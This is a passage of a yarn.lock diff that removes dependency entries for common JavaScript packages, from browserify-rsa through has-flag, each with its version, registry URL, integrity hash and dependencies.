-browserify-rsa@^4.0.0, browserify-rsa@^4.0.1: - version "4.1.0" - resolved "https://registry.yarnpkg.com/browserify-rsa/-/browserify-rsa-4.1.0.tgz#b2fd06b5b75ae297f7ce2dc651f918f5be158c8d" - integrity sha512-AdEER0Hkspgno2aR97SAf6vi0y0k8NuOpGnVH3O99rcA5Q6sh8QxcngtHuJ6uXwnfAXNM4Gn1Gb7/MV1+Ymbog== - dependencies: - bn.js "^5.0.0" - randombytes "^2.0.1" - -browserify-sign@^4.0.0: - version "4.2.1" - resolved "https://registry.yarnpkg.com/browserify-sign/-/browserify-sign-4.2.1.tgz#eaf4add46dd54be3bb3b36c0cf15abbeba7956c3" - integrity sha512-/vrA5fguVAKKAVTNJjgSm1tRQDHUU6DbwO9IROu/0WAzC8PKhucDSh18J0RMvVeHAn5puMd+QHC2erPRNf8lmg== - dependencies: - bn.js "^5.1.1" - browserify-rsa "^4.0.1" - create-hash "^1.2.0" - create-hmac "^1.1.7" - elliptic "^6.5.3" - inherits "^2.0.4" - parse-asn1 "^5.1.5" - readable-stream "^3.6.0" - safe-buffer "^5.2.0" - -browserify-zlib@^0.2.0: - version "0.2.0" - resolved "https://registry.yarnpkg.com/browserify-zlib/-/browserify-zlib-0.2.0.tgz#2869459d9aa3be245fe8fe2ca1f46e2e7f54d73f" - integrity sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA== - dependencies: - pako "~1.0.5" - -browserslist@4.16.1: - version "4.16.1" - resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.16.1.tgz#bf757a2da376b3447b800a16f0f1c96358138766" - integrity sha512-UXhDrwqsNcpTYJBTZsbGATDxZbiVDsx6UjpmRUmtnP10pr8wAYr5LgFoEFw9ixriQH2mv/NX2SfGzE/o8GndLA== - dependencies: - caniuse-lite "^1.0.30001173" - colorette "^1.2.1" - electron-to-chromium "^1.3.634" - escalade "^3.1.1" - node-releases "^1.1.69" - -buffer-xor@^1.0.3: - version "1.0.3" - resolved "https://registry.yarnpkg.com/buffer-xor/-/buffer-xor-1.0.3.tgz#26e61ed1422fb70dd42e6e36729ed51d855fe8d9" - integrity sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk= - -buffer@5.6.0: - version "5.6.0" - resolved "https://registry.yarnpkg.com/buffer/-/buffer-5.6.0.tgz#a31749dc7d81d84db08abf937b6b8c4033f62786" - integrity sha512-/gDYp/UtU0eA1ys8bOs9J6a+E/KWIY+DZ+Q2WESNUA0jFRsJOc0SNUO6xJ5SGA1xueg3NL65W6s+NY5l9cunuw== - dependencies: - base64-js "^1.0.2" - ieee754 "^1.1.4" - -buffer@^4.3.0: - version "4.9.2" - resolved "https://registry.yarnpkg.com/buffer/-/buffer-4.9.2.tgz#230ead344002988644841ab0244af8c44bbe3ef8" - integrity sha512-xq+q3SRMOxGivLhBNaUdC64hDTQwejJ+H0T/NB1XMtTVEwNTrfFF3gAxiyW0Bu/xWEGhjVKgUcMhCrUy2+uCWg== - dependencies: - base64-js "^1.0.2" - ieee754 "^1.1.4" - isarray "^1.0.0" - -builtin-status-codes@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/builtin-status-codes/-/builtin-status-codes-3.0.0.tgz#85982878e21b98e1c66425e03d0174788f569ee8" - integrity sha1-hZgoeOIbmOHGZCXgPQF0eI9Wnug= - -bytes@3.1.0: - version "3.1.0" - resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.0.tgz#f6cf7933a360e0588fa9fde85651cdc7f805d1f6" - integrity sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg== - -caniuse-lite@^1.0.30001173, caniuse-lite@^1.0.30001179: - version "1.0.30001204" - resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001204.tgz#256c85709a348ec4d175e847a3b515c66e79f2aa" - integrity sha512-JUdjWpcxfJ9IPamy2f5JaRDCaqJOxDzOSKtbdx4rH9VivMd1vIzoPumsJa9LoMIi4Fx2BV2KZOxWhNkBjaYivQ== - -ccount@^1.0.0: - version "1.1.0" - resolved "https://registry.yarnpkg.com/ccount/-/ccount-1.1.0.tgz#246687debb6014735131be8abab2d93898f8d043" - integrity sha512-vlNK021QdI7PNeiUh/lKkC/mNHHfV0m/Ad5JoI0TYtlBnJAslM/JIkm/tGC88bkLIwO6OQ5uV6ztS6kVAtCDlg== - -chalk@2.4.2, chalk@^2.0.0, chalk@^2.4.2: - version "2.4.2" - resolved "https://registry.yarnpkg.com/chalk/-/chalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424" - integrity sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ== - dependencies: - ansi-styles "^3.2.1" - escape-string-regexp "^1.0.5" - supports-color "^5.3.0" - -chalk@4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.0.0.tgz#6e98081ed2d17faab615eb52ac66ec1fe6209e72" - integrity sha512-N9oWFcegS0sFr9oh1oz2d7Npos6vNoWW9HvtCg5N1KRFpUhaAhvTv5Y58g880fZaEYSNm3qDz8SU1UrGvp+n7A== - dependencies: - ansi-styles "^4.1.0" - supports-color "^7.1.0" - -character-entities-legacy@^1.0.0: - version "1.1.4" - resolved "https://registry.yarnpkg.com/character-entities-legacy/-/character-entities-legacy-1.1.4.tgz#94bc1845dce70a5bb9d2ecc748725661293d8fc1" - integrity sha512-3Xnr+7ZFS1uxeiUDvV02wQ+QDbc55o97tIV5zHScSPJpcLm/r0DFPcoY3tYRp+VZukxuMeKgXYmsXQHO05zQeA== - -character-entities@^1.0.0: - version "1.2.4" - resolved "https://registry.yarnpkg.com/character-entities/-/character-entities-1.2.4.tgz#e12c3939b7eaf4e5b15e7ad4c5e28e1d48c5b16b" - integrity sha512-iBMyeEHxfVnIakwOuDXpVkc54HijNgCyQB2w0VfGQThle6NXn50zU6V/u+LDhxHcDUPojn6Kpga3PTAD8W1bQw== - -character-reference-invalid@^1.0.0: - version "1.1.4" - resolved "https://registry.yarnpkg.com/character-reference-invalid/-/character-reference-invalid-1.1.4.tgz#083329cda0eae272ab3dbbf37e9a382c13af1560" - integrity sha512-mKKUkUbhPpQlCOfIuZkvSEgktjPFIsZKRRbC6KWVEMvlzblj3i3asQv5ODsrwt0N3pHAEvjP8KTQPHkp0+6jOg== - -chokidar@3.5.1: - version "3.5.1" - resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.5.1.tgz#ee9ce7bbebd2b79f49f304799d5468e31e14e68a" - integrity sha512-9+s+Od+W0VJJzawDma/gvBNQqkTiqYTWLuZoyAsivsI4AaWTCzHG06/TMjsf1cYe9Cb97UCEhjz7HvnPk2p/tw== - dependencies: - anymatch "~3.1.1" - braces "~3.0.2" - glob-parent "~5.1.0" - is-binary-path "~2.1.0" - is-glob "~4.0.1" - normalize-path "~3.0.0" - readdirp "~3.5.0" - optionalDependencies: - fsevents "~2.3.1" - -cipher-base@^1.0.0, cipher-base@^1.0.1, cipher-base@^1.0.3: - version "1.0.4" - resolved "https://registry.yarnpkg.com/cipher-base/-/cipher-base-1.0.4.tgz#8760e4ecc272f4c363532f926d874aae2c1397de" - integrity sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q== - dependencies: - inherits "^2.0.1" - safe-buffer "^5.0.1" - -classnames@2.2.6: - version "2.2.6" - resolved "https://registry.yarnpkg.com/classnames/-/classnames-2.2.6.tgz#43935bffdd291f326dad0a205309b38d00f650ce" - integrity sha512-JR/iSQOSt+LQIWwrwEzJ9uk0xfN3mTVYMwt1Ir5mUcSN6pU+V4zQFFaJsclJbPuAUQH+yfWef6tm7l1quW3C8Q== - -clipboard@^2.0.0: - version "2.0.8" - resolved "https://registry.yarnpkg.com/clipboard/-/clipboard-2.0.8.tgz#ffc6c103dd2967a83005f3f61976aa4655a4cdba" - integrity sha512-Y6WO0unAIQp5bLmk1zdThRhgJt/x3ks6f30s3oE3H1mgIEU33XyQjEf8gsf6DxC7NPX8Y1SsNWjUjL/ywLnnbQ== - dependencies: - good-listener "^1.2.2" - select "^1.1.2" - tiny-emitter "^2.0.0" - -clsx@^1.0.4: - version "1.1.1" - resolved "https://registry.yarnpkg.com/clsx/-/clsx-1.1.1.tgz#98b3134f9abbdf23b2663491ace13c5c03a73188" - integrity sha512-6/bPho624p3S2pMyvP5kKBPXnI3ufHLObBFCfgx+LkeR5lg2XYy2hqZqUf45ypD8COn2bhgGJSUE+l5dhNBieA== - -color-convert@^1.9.0: - version "1.9.3" - resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8" - integrity sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg== - dependencies: - color-name "1.1.3" - -color-convert@^2.0.1: - version "2.0.1" - resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3" - integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ== - dependencies: - color-name "~1.1.4" - -color-name@1.1.3: - version "1.1.3" - resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25" - integrity sha1-p9BVi9icQveV3UIyj3QIMcpTvCU= - -color-name@~1.1.4: - version "1.1.4" - resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2" - integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA== - -colorette@^1.2.1: - version "1.2.2" - resolved "https://registry.yarnpkg.com/colorette/-/colorette-1.2.2.tgz#cbcc79d5e99caea2dbf10eb3a26fd8b3e6acfa94" - integrity sha512-MKGMzyfeuutC/ZJ1cba9NqcNpfeqMUcYmyF1ZFY6/Cn7CNSAKx6a+s48sqLqyAiZuaP2TcqMhoo+dlwFnVxT9w== - -comma-separated-tokens@^1.0.0: - version "1.0.8" - resolved "https://registry.yarnpkg.com/comma-separated-tokens/-/comma-separated-tokens-1.0.8.tgz#632b80b6117867a158f1080ad498b2fbe7e3f5ea" - integrity sha512-GHuDRO12Sypu2cV70d1dkA2EUmXHgntrzbpvOB+Qy+49ypNfGgFQIC2fhhXbnyrJRynDCAARsT7Ou0M6hirpfw== - -commondir@^1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/commondir/-/commondir-1.0.1.tgz#ddd800da0c66127393cca5950ea968a3aaf1253b" - integrity sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs= - -console-browserify@^1.1.0: - version "1.2.0" - resolved "https://registry.yarnpkg.com/console-browserify/-/console-browserify-1.2.0.tgz#67063cef57ceb6cf4993a2ab3a55840ae8c49336" - integrity sha512-ZMkYO/LkF17QvCPqM0gxw8yUzigAOZOSWSHg91FH6orS7vcEj5dVZTidN2fQ14yBSdg97RqhSNwLUXInd52OTA== - -constants-browserify@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/constants-browserify/-/constants-browserify-1.0.0.tgz#c20b96d8c617748aaf1c16021760cd27fcb8cb75" - integrity sha1-wguW2MYXdIqvHBYCF2DNJ/y4y3U= - -convert-source-map@1.7.0: - version "1.7.0" - resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-1.7.0.tgz#17a2cb882d7f77d3490585e2ce6c524424a3a442" - integrity sha512-4FJkXzKXEDB1snCFZlLP4gpC3JILicCpGbzG9f9G7tGqGCzETQ2hWPrcinA9oU4wtf2biUaEH5065UnMeR33oA== - dependencies: - safe-buffer "~5.1.1" - -core-util-is@~1.0.0: - version "1.0.2" - resolved "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.2.tgz#b5fd54220aa2bc5ab57aab7140c940754503c1a7" - integrity sha1-tf1UIgqivFq1eqtxQMlAdUUDwac= - -create-ecdh@^4.0.0: - version "4.0.4" - resolved "https://registry.yarnpkg.com/create-ecdh/-/create-ecdh-4.0.4.tgz#d6e7f4bffa66736085a0762fd3a632684dabcc4e" - integrity sha512-mf+TCx8wWc9VpuxfP2ht0iSISLZnt0JgWlrOKZiNqyUZWnjIaCIVNQArMHnCZKfEYRg6IM7A+NeJoN8gf/Ws0A== - dependencies: - bn.js "^4.1.0" - elliptic "^6.5.3" - -create-hash@^1.1.0, create-hash@^1.1.2, create-hash@^1.2.0: - version "1.2.0" - resolved "https://registry.yarnpkg.com/create-hash/-/create-hash-1.2.0.tgz#889078af11a63756bcfb59bd221996be3a9ef196" - integrity sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg== - dependencies: - cipher-base "^1.0.1" - inherits "^2.0.1" - md5.js "^1.3.4" - ripemd160 "^2.0.1" - sha.js "^2.4.0" - -create-hmac@^1.1.0, create-hmac@^1.1.4, create-hmac@^1.1.7: - version "1.1.7" - resolved "https://registry.yarnpkg.com/create-hmac/-/create-hmac-1.1.7.tgz#69170c78b3ab957147b2b8b04572e47ead2243ff" - integrity sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg== - dependencies: - cipher-base "^1.0.3" - create-hash "^1.1.0" - inherits "^2.0.1" - ripemd160 "^2.0.0" - safe-buffer "^5.0.1" - sha.js "^2.4.8" - -crypto-browserify@3.12.0, crypto-browserify@^3.11.0: - version "3.12.0" - resolved "https://registry.yarnpkg.com/crypto-browserify/-/crypto-browserify-3.12.0.tgz#396cf9f3137f03e4b8e532c58f698254e00f80ec" - integrity sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg== - dependencies: - browserify-cipher "^1.0.0" - browserify-sign "^4.0.0" - create-ecdh "^4.0.0" - create-hash "^1.1.0" - create-hmac "^1.1.0" - diffie-hellman "^5.0.0" - inherits "^2.0.1" - pbkdf2 "^3.0.3" - public-encrypt "^4.0.0" - randombytes "^2.0.0" - randomfill "^1.0.3" - -css-vendor@^2.0.8: - version "2.0.8" - resolved "https://registry.yarnpkg.com/css-vendor/-/css-vendor-2.0.8.tgz#e47f91d3bd3117d49180a3c935e62e3d9f7f449d" - integrity sha512-x9Aq0XTInxrkuFeHKbYC7zWY8ai7qJ04Kxd9MnvbC1uO5DagxoHQjm4JvG+vCdXOoFtCjbL2XSZfxmoYa9uQVQ== - dependencies: - "@babel/runtime" "^7.8.3" - is-in-browser "^1.0.2" - -css.escape@1.5.1: - version "1.5.1" - resolved "https://registry.yarnpkg.com/css.escape/-/css.escape-1.5.1.tgz#42e27d4fa04ae32f931a4b4d4191fa9cddee97cb" - integrity sha1-QuJ9T6BK4y+TGktNQZH6nN3ul8s= - -cssnano-preset-simple@1.2.2: - version "1.2.2" - resolved "https://registry.yarnpkg.com/cssnano-preset-simple/-/cssnano-preset-simple-1.2.2.tgz#c631bf79ffec7fdfc4069e2f2da3ca67d99d8413" - integrity sha512-gtvrcRSGtP3hA/wS8mFVinFnQdEsEpm3v4I/s/KmNjpdWaThV/4E5EojAzFXxyT5OCSRPLlHR9iQexAqKHlhGQ== - dependencies: - caniuse-lite "^1.0.30001179" - postcss "^7.0.32" - -cssnano-simple@1.2.2: - version "1.2.2" - resolved "https://registry.yarnpkg.com/cssnano-simple/-/cssnano-simple-1.2.2.tgz#72c2c3970e67123c3b4130894a30dc1050267007" - integrity sha512-4slyYc1w4JhSbhVX5xi9G0aQ42JnRyPg+7l7cqoNyoIDzfWx40Rq3JQZnoAWDu60A4AvKVp9ln/YSUOdhDX68g== - dependencies: - cssnano-preset-simple "1.2.2" - postcss "^7.0.32" - -csstype@^2.5.2: - version "2.6.16" - resolved "https://registry.yarnpkg.com/csstype/-/csstype-2.6.16.tgz#544d69f547013b85a40d15bff75db38f34fe9c39" - integrity sha512-61FBWoDHp/gRtsoDkq/B1nWrCUG/ok1E3tUrcNbZjsE9Cxd9yzUirjS3+nAATB8U4cTtaQmAHbNndoFz5L6C9Q== - -csstype@^3.0.2: - version "3.0.7" - resolved "https://registry.yarnpkg.com/csstype/-/csstype-3.0.7.tgz#2a5fb75e1015e84dd15692f71e89a1450290950b" - integrity sha512-KxnUB0ZMlnUWCsx2Z8MUsr6qV6ja1w9ArPErJaJaF8a5SOWoHLIszeCTKGRGRgtLgYrs1E8CHkNSP1VZTTPc9g== - -data-uri-to-buffer@3.0.1: - version "3.0.1" - resolved "https://registry.yarnpkg.com/data-uri-to-buffer/-/data-uri-to-buffer-3.0.1.tgz#594b8973938c5bc2c33046535785341abc4f3636" - integrity sha512-WboRycPNsVw3B3TL559F7kuBUM4d8CgMEvk6xEJlOp7OBPjt6G7z8WMWlD2rOFZLk6OYfFIUGsCOWzcQH9K2og== - -debug@2: - version "2.6.9" - resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f" - integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA== - dependencies: - ms "2.0.0" - -debug@^4.0.0: - version "4.3.1" - resolved "https://registry.yarnpkg.com/debug/-/debug-4.3.1.tgz#f0d229c505e0c6d8c49ac553d1b13dc183f6b2ee" - integrity sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ== - dependencies: - ms "2.1.2" - -delegate@^3.1.2: - version "3.2.0" - resolved "https://registry.yarnpkg.com/delegate/-/delegate-3.2.0.tgz#b66b71c3158522e8ab5744f720d8ca0c2af59166" - integrity sha512-IofjkYBZaZivn0V8nnsMJGBr4jVLxHDheKSW88PyxS5QC4Vo9ZbZVvhzlSxY87fVq3STR6r+4cGepyHkcWOQSw== - -depd@~1.1.2: - version "1.1.2" - resolved "https://registry.yarnpkg.com/depd/-/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9" - integrity sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak= - -des.js@^1.0.0: - version "1.0.1" - resolved "https://registry.yarnpkg.com/des.js/-/des.js-1.0.1.tgz#5382142e1bdc53f85d86d53e5f4aa7deb91e0843" - integrity sha512-Q0I4pfFrv2VPd34/vfLrFOoRmlYj3OV50i7fskps1jZWK1kApMWWT9G6RRUeYedLcBDIhnSDaUvJMb3AhUlaEA== - dependencies: - inherits "^2.0.1" - minimalistic-assert "^1.0.0" - -diffie-hellman@^5.0.0: - version "5.0.3" - resolved "https://registry.yarnpkg.com/diffie-hellman/-/diffie-hellman-5.0.3.tgz#40e8ee98f55a2149607146921c63e1ae5f3d2875" - integrity sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg== - dependencies: - bn.js "^4.1.0" - miller-rabin "^4.0.0" - randombytes "^2.0.0" - -dom-helpers@^5.0.1: - version "5.2.0" - resolved "https://registry.yarnpkg.com/dom-helpers/-/dom-helpers-5.2.0.tgz#57fd054c5f8f34c52a3eeffdb7e7e93cd357d95b" - integrity sha512-Ru5o9+V8CpunKnz5LGgWXkmrH/20cGKwcHwS4m73zIvs54CN9epEmT/HLqFJW3kXpakAFkEdzgy1hzlJe3E4OQ== - dependencies: - "@babel/runtime" "^7.8.7" - csstype "^3.0.2" - -domain-browser@^1.1.1: - version "1.2.0" - resolved "https://registry.yarnpkg.com/domain-browser/-/domain-browser-1.2.0.tgz#3d31f50191a6749dd1375a7f522e823d42e54eda" - integrity sha512-jnjyiM6eRyZl2H+W8Q/zLMA481hzi0eszAaBUzIVnmYVDBbnLxVNnfu1HgEBvCbL+71FrxMl3E6lpKH7Ge3OXA== - -electron-to-chromium@^1.3.634: - version "1.3.700" - resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.3.700.tgz#a6999a954c698dc7da5e84c369d65432dbe895be" - integrity sha512-wQtaxVZzpOeCjW1CGuC5W3bYjE2jglvk076LcTautBOB9UtHztty7wNzjVsndiMcSsdUsdMy5w76w5J1U7OPTQ== - -elliptic@^6.5.3: - version "6.5.4" - resolved "https://registry.yarnpkg.com/elliptic/-/elliptic-6.5.4.tgz#da37cebd31e79a1367e941b592ed1fbebd58abbb" - integrity sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ== - dependencies: - bn.js "^4.11.9" - brorand "^1.1.0" - hash.js "^1.0.0" - hmac-drbg "^1.0.1" - inherits "^2.0.4" - minimalistic-assert "^1.0.1" - minimalistic-crypto-utils "^1.0.1" - -emojis-list@^2.0.0: - version "2.1.0" - resolved "https://registry.yarnpkg.com/emojis-list/-/emojis-list-2.1.0.tgz#4daa4d9db00f9819880c79fa457ae5b09a1fd389" - integrity sha1-TapNnbAPmBmIDHn6RXrlsJof04k= - -escalade@^3.1.1: - version "3.1.1" - resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.1.1.tgz#d8cfdc7000965c5a0174b4a82eaa5c0552742e40" - integrity sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw== - -escape-string-regexp@^1.0.5: - version "1.0.5" - resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4" - integrity sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ= - -escape-string-regexp@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34" - integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA== - -esutils@^2.0.2: - version "2.0.3" - resolved "https://registry.yarnpkg.com/esutils/-/esutils-2.0.3.tgz#74d2eb4de0b8da1293711910d50775b9b710ef64" - integrity sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g== - -etag@1.8.1: - version "1.8.1" - resolved "https://registry.yarnpkg.com/etag/-/etag-1.8.1.tgz#41ae2eeb65efa62268aebfea83ac7d79299b0887" - integrity sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc= - -events@^3.0.0: - version "3.3.0" - resolved "https://registry.yarnpkg.com/events/-/events-3.3.0.tgz#31a95ad0a924e2d2c419a813aeb2c4e878ea7400" - integrity sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q== - -evp_bytestokey@^1.0.0, evp_bytestokey@^1.0.3: - version "1.0.3" - resolved "https://registry.yarnpkg.com/evp_bytestokey/-/evp_bytestokey-1.0.3.tgz#7fcbdb198dc71959432efe13842684e0525acb02" - integrity sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA== - dependencies: - md5.js "^1.3.4" - safe-buffer "^5.1.1" - -extend@^3.0.0: - version "3.0.2" - resolved "https://registry.yarnpkg.com/extend/-/extend-3.0.2.tgz#f8b1136b4071fbd8eb140aff858b1019ec2915fa" - integrity sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g== - -fault@^1.0.0: - version "1.0.4" - resolved "https://registry.yarnpkg.com/fault/-/fault-1.0.4.tgz#eafcfc0a6d214fc94601e170df29954a4f842f13" - integrity sha512-CJ0HCB5tL5fYTEA7ToAq5+kTwd++Borf1/bifxd9iT70QcXr4MRrO3Llf8Ifs70q+SJcGHFtnIE/Nw6giCtECA== - dependencies: - format "^0.2.0" - -fill-range@^7.0.1: - version "7.0.1" - resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-7.0.1.tgz#1919a6a7c75fe38b2c7c77e5198535da9acdda40" - integrity sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ== - dependencies: - to-regex-range "^5.0.1" - -find-cache-dir@3.3.1: - version "3.3.1" - resolved "https://registry.yarnpkg.com/find-cache-dir/-/find-cache-dir-3.3.1.tgz#89b33fad4a4670daa94f855f7fbe31d6d84fe880" - integrity sha512-t2GDMt3oGC/v+BMwzmllWDuJF/xcDtE5j/fCGbqDD7OLuJkj0cfh1YSA5VKPvwMeLFLNDBkwOKZ2X85jGLVftQ== - dependencies: - commondir "^1.0.1" - make-dir "^3.0.2" - pkg-dir "^4.1.0" - -find-up@^4.0.0: - version "4.1.0" - resolved "https://registry.yarnpkg.com/find-up/-/find-up-4.1.0.tgz#97afe7d6cdc0bc5928584b7c8d7b16e8a9aa5d19" - integrity sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw== - dependencies: - locate-path "^5.0.0" - path-exists "^4.0.0" - -format@^0.2.0: - version "0.2.2" - resolved "https://registry.yarnpkg.com/format/-/format-0.2.2.tgz#d6170107e9efdc4ed30c9dc39016df942b5cb58b" - integrity sha1-1hcBB+nv3E7TDJ3DkBbflCtctYs= - -fsevents@~2.3.1: - version "2.3.2" - resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.3.2.tgz#8a526f78b8fdf4623b709e0b975c52c24c02fd1a" - integrity sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA== - -fuse.js@^6.4.6: - version "6.4.6" - resolved "https://registry.yarnpkg.com/fuse.js/-/fuse.js-6.4.6.tgz#62f216c110e5aa22486aff20be7896d19a059b79" - integrity sha512-/gYxR/0VpXmWSfZOIPS3rWwU8SHgsRTwWuXhyb2O6s7aRuVtHtxCkR33bNYu3wyLyNx/Wpv0vU7FZy8Vj53VNw== - -get-orientation@1.1.2: - version "1.1.2" - resolved "https://registry.yarnpkg.com/get-orientation/-/get-orientation-1.1.2.tgz#20507928951814f8a91ded0a0e67b29dfab98947" - integrity sha512-/pViTfifW+gBbh/RnlFYHINvELT9Znt+SYyDKAUL6uV6By019AK/s+i9XP4jSwq7lwP38Fd8HVeTxym3+hkwmQ== - dependencies: - stream-parser "^0.3.1" - -glob-parent@~5.1.0: - version "5.1.2" - resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-5.1.2.tgz#869832c58034fe68a4093c17dc15e8340d8401c4" - integrity sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow== - dependencies: - is-glob "^4.0.1" - -glob-to-regexp@^0.4.1: - version "0.4.1" - resolved "https://registry.yarnpkg.com/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz#c75297087c851b9a578bd217dd59a92f59fe546e" - integrity sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw== - -good-listener@^1.2.2: - version "1.2.2" - resolved "https://registry.yarnpkg.com/good-listener/-/good-listener-1.2.2.tgz#d53b30cdf9313dffb7dc9a0d477096aa6d145c50" - integrity sha1-1TswzfkxPf+33JoNR3CWqm0UXFA= - dependencies: - delegate "^3.1.2" - -graceful-fs@^4.1.2: - version "4.2.6" - resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.6.tgz#ff040b2b0853b23c3d31027523706f1885d76bee" - integrity sha512-nTnJ528pbqxYanhpDYsi4Rd8MAeaBA67+RZ10CM1m3bTAVFEDcd5AuA4a6W5YkGZ1iNXHzZz8T6TBKLeBuNriQ== - -has-flag@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd" - integrity sha1-tdRU3CGZriJWmfNGfloH87lVuv0= - -has-flag@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b" - integrity 